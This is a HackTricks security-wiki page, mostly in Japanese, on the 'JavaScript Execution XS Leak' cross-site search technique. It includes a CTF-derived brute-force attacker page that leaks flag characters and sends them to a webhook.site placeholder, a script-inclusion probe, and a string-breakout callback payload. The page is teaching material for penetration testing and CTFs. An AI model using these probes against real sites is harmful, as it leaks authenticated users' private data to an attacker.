JavaScript Execution XS Leak

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

この XS-Search primitive は、クロスオリジンのレスポンスが JavaScript として実行されるかどうかBoolean oracle に変換します。

一般的な構成は次のとおりです:

  • Positive state: target は attacker-controlled なテキスト、または attacker JavaScript としては 実行されない 機密コンテンツを返す。
  • Negative state: target は attacker-controlled なテキストを、正当な JavaScript としてパースされる場所に反映するため、attacker は window.parent.foo() のような callback を強制できる。
  • Leak: 古典的な <script src> で target を読み込み、callback が発火するかどうかを観測する。

これは基本的に execution oracle であり、timing oracle ではありません。attacker に必要なのは、secret に依存する分岐によって異なる振る舞いをする cross-origin script inclusion だけです。

一般的な XS-Leaks の背景については、こちらを参照してください:

HackTricks

When This Works

この technique は、以下のすべてが真のときに実用的です:

  • victim が target origin に認証済みである。
  • attacker が victim browser に target origin から classic script をリクエストさせられる。
  • 片方の分岐が、attacker-controlled な有効な JavaScript を返す。
  • もう片方の分岐が、attacker callback を実行しない コンテンツを返す。

実際には、最も簡単なのは次のような search/debug endpoints です:

  • 予想が外れたときに attacker-controlled なテキストを返す
  • 予想が当たったときに別の body を返す
  • attacker が callbackhintmsg、または反映される prefix/suffix のような parameter を選べる

Basic Example

${guess} を flag prefix として試す server-side code:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

前の/guessingページに対して各可能性をテストするためにiframeを生成するメインページ:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

攻撃者のロジックは次のとおりです:

  1. すべての候補を「good」として開始する。
  2. 対象のレスポンスを script として読み込む。
  3. レスポンスが window.parent.foo() を実行した場合、その候補を wrong としてマークする。
  4. コールバックが発火しない場合、その候補を保持して brute-forcing を続ける。

Minimal Probe Pattern

多くの実際の対象では、iframe は不要です。直接の script inclusion で十分です:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

「wrong guess」ブランチが miss() を反映しているなら、次のようになります:

  • probe(...) === false は、コールバックが実行されたか、load が失敗したことを意味する
  • probe(...) === true は、script が attacker callback を実行せずに読み込まれたことを意味する

信頼性のために、probe ごとに fresh script element を使い、?r=${crypto.randomUUID()} のような cache-buster を追加します。

Modern Caveats

それは classic script でなければならない

この primitive は、browser が resource を classic script として fetch することに依存しています。crossorigin なしの素の <script src=...>no-cors mode で fetch されます。これが、この古い pattern が cross-origin でも今なお有用な理由です。

この technique で type="module" に切り替えてはいけません:

  • cross-origin の module scripts require CORS
  • classic scripts として include できる多くの target は、module としては単に失敗する

MIME type と nosniff が payload の実行可否を決める

現在の browser は昔の writeup より厳格です。target が X-Content-Type-Options: nosniff を設定している場合、browser は MIME type が JavaScript MIME type ではない script response を block します。

つまり、この oracle はしばしば次に依存します:

  • target が application/javascript / text/javascript を返すか
  • target が text/plaintext/html、または JSON を返すか
  • nosniff が存在するか

これが、ある endpoint では一方の branch だけで leak が得られる理由でもあります。片方の response は script として受理され、もう片方の branch は block されるか、別の方法で parse されます。

CORB は観測結果を変えうる

CORB は考慮すべき別の branch を追加します。response が CORB-protected と見なされると、Chromium は parse failure を表面化させる代わりに、それを empty valid script response に変えることがあります。そのため、いくつかの endpoint では:

  • ある状態は通常の script parse / callback を引き起こす
  • 別の状態は空の script になり、onload だけが発火する

それでも有用な oracle ですが、signal は単なる「JavaScript が実行されたかどうか」ではなく、callback vs no callback または onload vs onerror になります。

CSP は attacker-controlled branch を殺せる

target response 上の厳格な CSP は、反映された branch がもはや実行可能な JavaScript でなくなると、この primitive を壊すことがあります。2022 年から 2024 年の公開 XS-Leak challenge writeups は、この detail に繰り返し依存しています:

  • script-src 'none' は、attackers に direct execution oracle からの pivot を強制できる
  • CSP/SRI/CSP-report の相互作用は、依然として other leak oracles を生むことがあるが、それらは別の page/technique に属する

そのため、明らかな callback trick が動かないときは、endpoint を捨てる前に response headers を確認してください。

Useful Variants

Callback-parameter endpoints

最も扱いやすい target は、次のような parameter を受け付ける JSONP-style または debug endpoint です:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

「miss」branch がその値をそのまま executable JavaScript に反映し、「hit」branch が別の content を返すなら、timing measurement なしで直接 Boolean oracle が得られます。

Syntax-preserving prefixes and suffixes

ときには response body を完全には制御できませんが、それでも negative branch を実行させることはできます:

  • 現在の string または function argument を閉じる
  • callback を inject する
  • trailing bytes を comment out する

たとえば、次のような reflected branch:

showResult("<attacker>");

しばしば次のように変換できます:

showResult("");window.parent.foo();//");

正の分岐がその payload を反映しない場合、callback が oracle になります。

event-based oracles と組み合わせる

endpoint がブラウザ間で不安定な場合は、execution oracle を、section index で既に扱った一般的な script load events と組み合わせます:

  • callback fired
  • onload
  • onerror

これは、1つの分岐で有効な JavaScript が得られ、別の分岐で blocked MIME / CORB / CSP の挙動になる場合に特に有用です。

関連ページ:

Practical Notes

  • 1 request あたり 1 bit を優先し、callback の副作用は単純に保つ。
  • 多数の候補を調べる場合は、以前に挿入した <script> 要素を削除するか、各試行を新しい iframe で分離する。
  • cache と service worker の挙動は oracle を汚染する可能性があるため、cache-busting を使う。
  • この primitive は、negative branch が 完全に attacker-controlled JavaScript のとき最も強力です。部分的な reflection しか得られない場合、exploit は XS-Search 問題というより payload-shaping 問題になります。

References

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート